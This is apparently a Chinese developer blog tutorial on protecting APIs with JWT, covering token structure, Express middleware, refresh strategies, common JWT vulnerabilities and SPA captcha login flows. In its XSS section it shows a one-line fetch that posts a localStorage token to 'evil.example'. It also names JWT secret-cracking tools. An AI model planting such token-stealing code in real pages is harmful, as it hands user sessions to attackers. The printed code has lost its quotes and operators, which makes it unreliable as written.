
同事突然发来一条消息“快看咱们那个公开接口被刷了一晚上跑了十万次数据库连接都要被打挂了。”我打开后台一看果然这个只做了登录页面的老项目后端接口全是裸的——只要知道URL拿个HTTP工具就能直接调。这种场景我见过太多次了甚至很多团队的API在开发阶段根本没人想过保护等到上了生产才开始补漏。而补漏这件事目前行业内最主流的做法就是在API层面引入JWTJSON Web Token做用户认证与授权。这篇内容不是一篇纯概念科普我会从实际项目里经常遇到的几个问题入手JWT到底解决了什么、怎么接入、token过期了怎么办、那些网上传的JWT漏洞到底是怎么回事以及在SPA项目里验证码和JWT怎么配合。无论你是刚接触后端的初学者还是已经被线上接口裸奔问题折磨过一轮的开发者按这篇文章走一遍基本能把API认证这条链路理清楚。1. 为什么API认证绕不开JWT——先想清楚方案再动手1.1 传统Session方案的痛点在JWT火起来之前大部分Web应用用的都是Session-Cookie方案。用户登录成功后服务端生成一个Session ID存到服务端的内存或Redis里再通过Set-Cookie把Session ID下发到浏览器。之后每次请求浏览器自动带上Cookie服务端对比一下Session ID就知道你是谁了。这个方案在传统服务端渲染的项目里非常好用但到了API时代就明显吃力服务端要维护Session状态分布式部署时还得考虑Session共享要么粘滞会话要么引入Redis单独做Session存储。移动端App、小程序没有Cookie机制每次要手动把Session ID塞进请求头麻烦且不规范。跨域场景下Cookie策略会给你添很多麻烦尤其是前后端分离之后处理CORS和携带凭证是个老大难。说白了Session方案把“状态”留在了服务端但API场景下我们更希望客户端带一个“凭证”服务端看一眼凭证就能放行而不是每次都去查一遍会话表。1.2 JWT在API场景为什么能胜出JWT的核心价值是“无状态”和“自包含”。服务端签发一个Token给客户端Token里直接包含了用户身份信息、角色、过期时间等客户端每次请求把这个Token放在请求头里服务端只需要验签不需要维护会话状态也不需要查库。这在分布式、微服务架构下尤其方便——任何一个节点拿到Token都能独立验证不需要共享Session存储。再加上JWT是纯文本的Base64Url编码跨语言跨平台都能解析前端、后端、网关、第三方服务都能参与验签。相比之下OAuth2虽然功能更强但那是用来做第三方授权授权码流程的做内部系统的用户认证属于杀鸡用牛刀复杂度完全失控。1.3 别把JWT当成银弹边界要说清楚JWT虽然好用但并不是所有场景都适合。我见过不少项目把JWT当万能药结果越用越痛苦Token一旦签发在过期前无法主动让其失效服务端想封禁一个用户的Token很难。Token体积比Session ID大得多Payload里塞太多东西会让每次请求的Header膨胀。适合做短期凭证不适合做长期登录态长期有效期的Token泄露后风险极大。所以在选型前先搞清楚你的业务是不是要求服务端能主动踢人、能实时封禁用户。如果答案是“必须能”那你最好在JWT方案里额外引入Redis做黑名单或者版本号控制这个后面会讲。2. 拆开JWT看结构三段字符串里到底藏了什么2.1 Header、Payload、Signature逐段拆一个典型的JWT长这样eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c用小数点拆成三段。第一段是HeaderBase64Url解码后长这样{ alg: HS256, typ: JWT }它告诉解析方这个Token用的签名算法是HS256类型是JWT。第二段是Payload也就是实际承载的数据{ sub: 1234567890, name: John Doe, iat: 1516239022 }这段才是整个Token里业务上最关键的部位用户ID、角色、权限点都放在这里。第三段是Signature它是个防伪签名。以HS256为例签名算法是HMAC-SHA256(base64UrlEncode(header) . base64UrlEncode(payload), secret)也就是把前两段拼起来用密钥做一次HMAC计算。任何人只要改动了Header或Payload里的任何一个字符签名对不上验签就会失败。2.2 Payload里的标准字段别乱起名字Payload里有一些JWT规范建议的标准字段实际项目里非常有用字段全称含义使用场景subSubject主体标识通常存用户ID用来识别Token属于哪个用户iatIssued At签发时间Unix时间戳记录签发时刻expExpiration Time过期时间核心安全字段必须校验nbfNot Before生效时间指定Token在某个时间之后才有效jtiJWT IDToken唯一标识用于防止重放、加入黑名单除了标准字段你完全可以往Payload里塞自定义字段比如role、permissions、deviceId。但要记住一个红线只放非敏感数据密码、电话号码、身份证号绝对不能放进去。2.3 签名机制为什么别人改不了你的Token很多新手有个误区以为JWT是“加密”的。实际上JWT的Payload只是Base64Url编码任何拿到Token的人都能解码看到内容它根本不加密。安全性完全靠最后那一段签名。签名算法分为两类HS256对称签名签发和验证用同一个密钥。实现简单适合单服务或可信任环境缺点是密钥一旦泄露攻击者可以随意签发Token。RS256非对称签名私钥签发、公钥验证。服务端只保留私钥客户端、网关、第三方服务拿公钥就能验签适合多服务、多端参与验证的场景。实际项目中如果只是普通前后端分离的内部系统HS256足够用如果是开放平台、API网关统一鉴权优先选RS256。2.4 一个最常见的误解JWT等于加密传输再说一遍JWT不是加密。你随便找一个在线工具把Payload那段Base64Url解出来明文内容一览无余。所以在设置Payload时一定要克制只放必要字段。安全通道靠HTTPS数据保密靠加密算法JWT负责的是“身份可信”不是“内容保密”。3. 从登录到放行接入JWT的完整链路实战3.1 整体流程一图流JWT在API里的典型访问流程是这样的用户提交账号密码到登录接口。服务端校验账号密码通过后生成一个带签名和过期时间的JWT返回。客户端把Token保存下来之后每次请求在Header里加Authorization: Bearer token。服务端有一个鉴权中间件对需要保护的接口统一验签。验签通过后从Token里取出用户信息放行到业务处理验签失败则返回401。后面所有步骤都是这条主链路的具体展开。3.2 登录接口签发Token只是最后一步以Node.js Express jsonwebtoken为例登录接口的核心逻辑大概是const jwt require(jsonwebtoken); app.post(/api/auth/login, async (req, res) { const { username, password } req.body; // 1. 校验用户名密码这里省略查库逻辑 const user await verifyUser(username, password); if (!user) { return res.status(401).json({ message: 用户名或密码错误 }); } // 2. 从Redis取出该用户当前有效的jti列表 // 如果启用了“单设备登录”可以先把旧的Token拉黑 // 这块逻辑后面在踢人下线里展开 // 3. 签发Access Token const token jwt.sign( { sub: user.id, role: user.role, name: user.name, jti: uuidv4(), }, process.env.JWT_SECRET, { algorithm: HS256, expiresIn: 30m } ); res.json({ token, expiresIn: 30 * 60 }); });注意几个细节sub存用户主键IDjti存一个UUID后续如果要拉黑某个Token靠jti精准定位expiresIn设置为30分钟是比较常规的默认值。3.3 前端拿到Token后到底存在哪这是SPA项目里争论最多的问题主要就两个派别存储位置优点缺点localStorage / sessionStorage实现简单前端随手可取配合axios拦截器非常方便任何XSS漏洞都能直接偷走TokenhttpOnly Cookie脚本读不到防XSS偷取需要处理CSRF防护跨域Cookie配置麻烦我个人的实践是标准SPA项目优先用httpOnly Cookie存Token同时配合CSRF Token或者SameSite属性。如果团队现阶段还不想处理CSRF用localStorage也不是不行但必须把CSP内容安全策略和XSS防护做到位而且接口一定要做来源校验。Token的传递方式也有讲究常规做法是请求头携带Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...服务端统一从Authorization请求头取值不要在URL参数里传Token否则会被网关日志、浏览器历史记录泄露。3.4 后端鉴权中间件验签、判过期、挂载用户信息有了中间件受保护接口只需要一行代码调用不用每个业务接口重复写校验逻辑function authMiddleware(req, res, next) { const authHeader req.headers.authorization || ; if (!authHeader.startsWith(Bearer )) { return res.status(401).json({ code: 40101, message: 未提供有效凭证 }); } const token authHeader.slice(7); try { // 注意这里必须指定算法白名单后面讲漏洞时会解释为什么 const payload jwt.verify(token, process.env.JWT_SECRET, { algorithms: [HS256], }); req.user payload; next(); } catch (err) { if (err.name TokenExpiredError) { return res.status(401).json({ code: 40102, message: 凭证已过期 }); } return res.status(401).json({ code: 40103, message: 凭证无效 }); } } // 受保护接口示例 app.get(/api/profile, authMiddleware, (req, res) { res.json({ user: req.user }); });这里有个很容易忽略的细节jwt.verify()默认会自动校验exp过期的所以“过期不失效”的问题往往不是出在库上而是出现在开发者自己手写了校验逻辑却不验证exp的情况。用官方库的时候千万不要自己手动去解析Payload然后跳过签名验证。3.5 基于角色的访问控制从“能登录”到“能干什么”认证只是确认“你是谁”授权才是决定“你能干什么”。在JWT方案里我通常把授权信息直接放进Token里比如{ sub: 10001, role: admin, permissions: [order:read, order:write, user:read] }然后在中间件里做权限点校验function requirePermission(permission) { return (req, res, next) { const perms req.user.permissions || []; if (!perms.includes(permission)) { return res.status(403).json({ message: 没有操作权限 }); } next(); }; } app.post(/api/orders, authMiddleware, requirePermission(order:write), handler);权限粒度到“资源:操作”这个级别比较合适角色只是一个权限点的集合。把角色和权限点做成两套体系角色可以灵活组合权限点这样运营后台加个新接口时只改权限配置不用重新签发Token——当然如果权限点设计变了确实需要让用户重新登录一下。4. Token续签是门手艺活三种方案实测对比4.1 为什么一定会有续签需求Access Token有效期设得太短用户正在填一个长表单突然跳回登录页有效期设得太长泄露风险又成倍增加。所以大家在实践中都会把Access Token设成短时效比如15分钟到2小时再配一个长期有效的Refresh Token来解决“无感续签”。4.2 方案一前端拦截401自动刷新这是最流行的方案逻辑是登录时同时返回Access Token和Refresh TokenAccess Token短效Refresh Token可以7天或更长。前端在axios拦截器里监听响应状态码。收到401时先用Refresh Token调用/api/auth/refresh换新的Access Token再重放原来的请求。拦截器代码大致是axios.interceptors.response.use( (response) response, async (error) { const originalRequest error.config; if (error.response?.status 401 !originalRequest._retry) { originalRequest._retry true; try { const refreshToken getRefreshToken(); const { data } await axios.post(/api/auth/refresh, { refreshToken }); setAccessToken(data.accessToken); originalRequest.headers.Authorization Bearer ${data.accessToken}; return axios(originalRequest); } catch (refreshError) { clearTokens(); window.location.href /login; return Promise.reject(refreshError); } } return Promise.reject(error); } );这个方案看着简单实际有个大坑页面同时发出多个请求都返回401就会同时触发多次/refresh调用导致Refresh Token被反复使用。我的解决办法是做一个“刷新中”的锁或者队列刷新期间其他401请求先排队等拿到新Token后统一重放。4.3 方案二滑动过期滑动过期的思路是只要用户还在活跃操作就不断帮他续期而不需要前端介入刷新逻辑。每次请求经过后端中间件的时候检查一下Token的剩余有效时间const remain payload.exp - Math.floor(Date.now() / 1000); if (remain 5 * 60) { const newToken jwt.sign( { ...payload, iat: now, exp: now 30 * 60 }, process.env.JWT_SECRET, { algorithm: HS256 } ); res.setHeader(X-New-Token, newToken); }前端只需要在响应头里发现X-New-Token就更新本地存储用户完全无感。这个方案适合内部系统、用户活跃度高的场景。4.4 方案三只靠延长有效期——最懒也最危险有些人图省事直接把Token有效期设为30天甚至一年。说实话我见过太多线上事故是因为“Token过期时间太长的Token”被拖库之后随便用。JWT在过期前没法主动失效你真要设置长有效期就等于把自己所有用户的身份凭证长期裸露在一个可能被窃取的地方。这个方案我不推荐在任何正经项目里用。4.5 Refresh Token本身也要有保护措施Refresh Token是整个续签方案里的超级管理员权限它泄露了就等于账号被人接管。实际项目中要注意Refresh Token有效期要比Access Token长得多但也不要超过30天。Refresh Token建议在服务端Redis里存一份因为它是“有状态”的可以主动踢掉。如果检测到Refresh Token被重复使用说明可能被盗了直接把该用户所有Token拉黑要求重新登录。5. 那几道JWT的“送命题”漏洞案例复盘5.1 algnone签名都省了JWT规范里允许算法为none也就是说服务端可以不验签。攻击者把Header里的算法改成nonePayload随便写粘到请求里就能伪装成任何人。这类攻击之所以能得手多半是后端代码没有严谨指定算法白名单而是用了某些库的默认行为。修复很简单验签时明确指定只允许哪些算法jwt.verify(token, secret, { algorithms: [HS256] });5.2 HS256/RS256混淆攻击这个坑更隐蔽。如果服务端签发时用的RS256但验签逻辑写得不够严谨攻击者可以拿到公钥然后把算法改成HS256再用公钥作为HMAC密钥去签名服务端如果用公钥去做HS256验签就会错误地通过。这个漏洞的恢复方法就是验签时固定算法、固定密钥类型不要让Token里的alg字段控制验签方式。还有一点公钥本身不算机密但公钥绝对不能拿来做HS256的密钥这是两个完全不同的密码学用途。5.3 密钥泄露与爆破HS256的安全性完全建立在密钥的强度上。如果密钥是弱口令、常见单词攻击者拿到一个合法Token后就能用jwt_tool、c-jwt-cracker等工具爆破出密钥然后伪造任意用户的Token。我的建议是密钥至少32字节随机数单独存在环境变量或密钥管理服务中定期轮换开发环境和生产环境千万不要用同一个密钥有条件就直接上RS256用私钥签、公钥验就算公钥泄露也不影响签名安全。5.4 只验签名不验过期时间网上能看到不少JWT解析代码只做了签名验证和解码却没有检查exp。结果就是Token过期了依然能访问接口名副其实的“永久Token”。这个问题的本质是“验签通过”和“凭证有效”被混为一谈。签名只是证明Token没被篡改有效状态还需要校验时间字段。用官方库时jwt.verify()本身会校验过期时间但如果你自己写解析逻辑一定要手动校验exp、iat、nbf。5.5 用户被删除了Token依然有效这是JWT无状态特性最头疼的问题。用户改了密码、被封号、被删除服务端没有一个地方统一管理Token旧的Token在过期前依然能被使用。我的习惯是给Token加入一个“版本号”或者配合Redis黑名单。每次用户修改密码或封禁时把该用户当前Token的jti加入Redis黑名单过期时间设置为Token剩余有效期或者在Payload里放一个tokenVersion用户信息变动时版本号加1中间件验签时再从Redis取版本号对比不一致就拒绝。5.6 XSS导致Token从localStorage被偷前面说了localStorage存Token的弊端。一旦页面存在XSS漏洞恶意脚本可以一行代码拿走所有本地Tokenfetch(https://evil.example/steal, { method: POST, body: localStorage.getItem(token), });修复方向是纵深防御优先用httpOnly Cookie存Token配置严格的CSP对用户输入做输出编码接口侧做Referer/Origin校验。安全没有银弹只能一层层叠加。6. SPA项目落地验证码、JWT与接口防刷的联动6.1 验证码为什么必须放在登录之前登录接口是JWT认证链路的入口也是最容易被暴力破解的位置。如果不加验证码攻击者可以用脚本无限尝试撞库。常见的做法是用户在登录页先加载图形验证码/滑块验证码提交时带上验证码ID和用户输入值后端先校验验证码校验通过后再走账号密码校验最后签发JWT。验证码本身的有效期建议5分钟且一次性使用用完即废防止重放。这个环节我习惯把验证码的校验结果做成一个临时凭证比如返回一个短时效的一次性Code前端再拿着这个Code去调登录接口避免验证码过期时用户已经填好的表单被清空。6.2 一个典型SPA登录流程结合前面的内容完整流程串起来是这样的页面加载时请求GET /api/auth/captcha返回验证码图片和captchaId。用户输入账号、密码、验证码提交到POST /api/auth/login。后端校验captchaId对应的验证码再校验账号密码。校验通过后签发Access Token和Refresh Token前端保存。前端路由守卫判断本地有没有有效Token有则直接进入主界面没有就跳登录页。登录后每次请求Header自动带Token遇到401就触发刷新逻辑。6.3 刷新页面后的“恢复会话”问题SPA项目里用户按一下F5内存中的状态全没了localStorage或Cookie里的Token还在但路由守卫怎么知道Token是否有效常规做法是前端发一个GET /api/auth/me请求中间件校验Token后返回当前用户信息如果返回401再走刷新流程。这就等于每次刷新页面都做了一次“静默登录”体验上几乎没有感知。6.4 JWT配合防刷限流、设备指纹、异常登录提醒JWT解决了“谁能访问”但解决不了“访问频率是否正常”。接口防刷还是要靠IP维度的限流比如登录接口每分钟最多5次。设备指纹用浏览器UA、Canvas指纹、设备ID等拼出一个稳定的设备标识每次登录时对比发现陌生设备可以二次验证。活跃会话数量控制在Redis里记录每个用户的jti列表超过阈值就踢掉最早那个这也能实现“账号被人异地登录”的提示。这些手段和JWT不冲突反而可以互相配合JWT的jti字段就是天然的会话标识设备指纹可以塞进Payload的deviceId字段会话管理靠Redis实现。7. 最后聊聊我在实际项目里的几个习惯我在多个项目里用过JWT之后几点个人体会最深刻。先定安全边界再写代码不要一开始就纠结用HS256还是RS256先把Token里放什么字段、过期时间、续签方式、失效策略定下来后面返工成本最低。JWT密钥绝对不要硬编码到代码库里更不要提交到Git仓库用环境变量或者配置中心管理是最低要求。中间件一定要统一收口不要在几十个接口里分别复制粘贴验签代码否则算法改一轮你想哭。日志里绝对不要打印完整Token真需要排查问题时记录jti和userId就足够了。Payload里能少放就少放我见过有人把用户的完整头像、昵称、手机号全塞进Token结果每次请求光是Header就比别人大好几倍完全没有必要需要用户信息的时候单独查一次接口不丢人。还有一个容易踩的坑是时间同步问题。JWT的iat和exp都是Unix时间戳如果服务器时间不准会导致Token提前过期或者迟迟不过期容器环境里尤其容易出现。建议统一用NTP同步服务器时间。如果项目是开放平台不光要JWT还得配合OAuth2的授权码模式来签发Token那是给第三方应用用的。但内部系统、SPA、小程序的后台接口JWT这套组合已经足够稳了。下次再有人问你“API怎么保护”你至少能拿出从登录签发、中间件验权、续签防刷到这整套链路来应对了。